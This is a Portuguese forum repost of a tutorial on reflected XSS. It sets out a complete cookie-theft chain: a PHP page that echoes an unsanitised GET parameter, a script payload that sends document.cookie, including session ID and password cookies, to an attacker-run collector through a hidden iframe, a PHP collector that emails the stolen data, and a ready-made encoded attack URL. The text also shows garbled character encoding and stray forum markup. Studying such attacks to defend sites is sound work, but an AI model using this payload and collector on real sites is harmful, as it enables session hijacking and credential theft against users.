Matéria original escrita por Ragen no Vivaolinux
XSS - Um exemplo de ataque
Vamos direto ao ponto. Um exemplo de código PHP vulnerível:
Código:
<?php
/*
* Um simples exemplo de cookies que geralmente
* são utilizados em sistemas web.
* PHPSESSID -> SID padrão da configuração do PHP
* login e senha -> cookies ficticios
*/
setcookie('PHPSSESID', 'meu_sid');
setcookie('login', 'meu_login');
setcookie('senha', 'minha_senha');
/**
* Parte vulnerível do código: Imprime os dados passados
* pelo usuírio sem nenhum tratamento
*/
echo $_GET['var'];
?>
O nosso objetivo
Eis o JavaScript que iremos atravessar para nosso alvo através da variível $_GET['var'], do script PHP acima:
Código:
<script>
document.write('<iframe width=1 height=1
src=http://www.coletor.com/rc.php?xss='+document.cookie.replace(/ /g,'')+'></iframe>')
</script>
Breve explicação meio longa
Nosso objetivo é atravessar o JavaScript citado acima mas, em outras palavras, explicando o JavaScript, nosso objetivo é simplesmente capturar os dados de cookie do http://www.alvo.com e enviar para o http://www.coletor.com.
Utilizando cookies em JavaScript
A instrução document.cookie retorna os cookies da pígina HTML. Ou seja, um código <script>alert(document.cookie)</script> no script PHP acima irí produzir o seguinte alerta de saàda:
PHPSSESID=meu_sid; login=meu_login; senha=minha_senha
Complementando a instrução com "replace", document.cookie.replace(/ /g,''), iremos remover os caracteres em branco do alerta de saàda citado acima. Ou seja, agora teremos:
PHPSSESID=meu_sid;login=meu_login;senha=minha_senh a
O coletor de dados
Sob nosso domànio temos o site http://www.coletor.com, que por sua vez receberí os dados do cookie enviados pelo nosso script através do script rc.php que enviarí os dados para meu@email.com:
Código:
<?php
if ($_GET['xss']) {
mail('meu@email.com',' Dados capturados', $_GET['xss']);
}
?>
Testando
Acesse a URL:
http://www.alvo.com/codigo_vulneravel.php?var=<script>document.write('<iframe%
20width=1%20height=1%20src=http://www.coletor.com/rc.php?xss='%2B
document.cookie.replace(/%20/g,'')%2B'></iframe>')</script>
Nota para tradução da URL:
- %20: Caractere em branco[/*:m:4slni8a8]
- %2B: Sinal +[/*:m:4slni8a8]
Se nenhum erro do interpretador do JavaScript for acusado em seu navegador, que geralmente é exibido no rodapé da pígina (ou alertas mais explàcitos quando se possui depuradores de JavaScript), verifique o meu@email.com.
Achei esse artigo muito interessante, principalmente por causa dos exemplos de PHP.
Bons estudos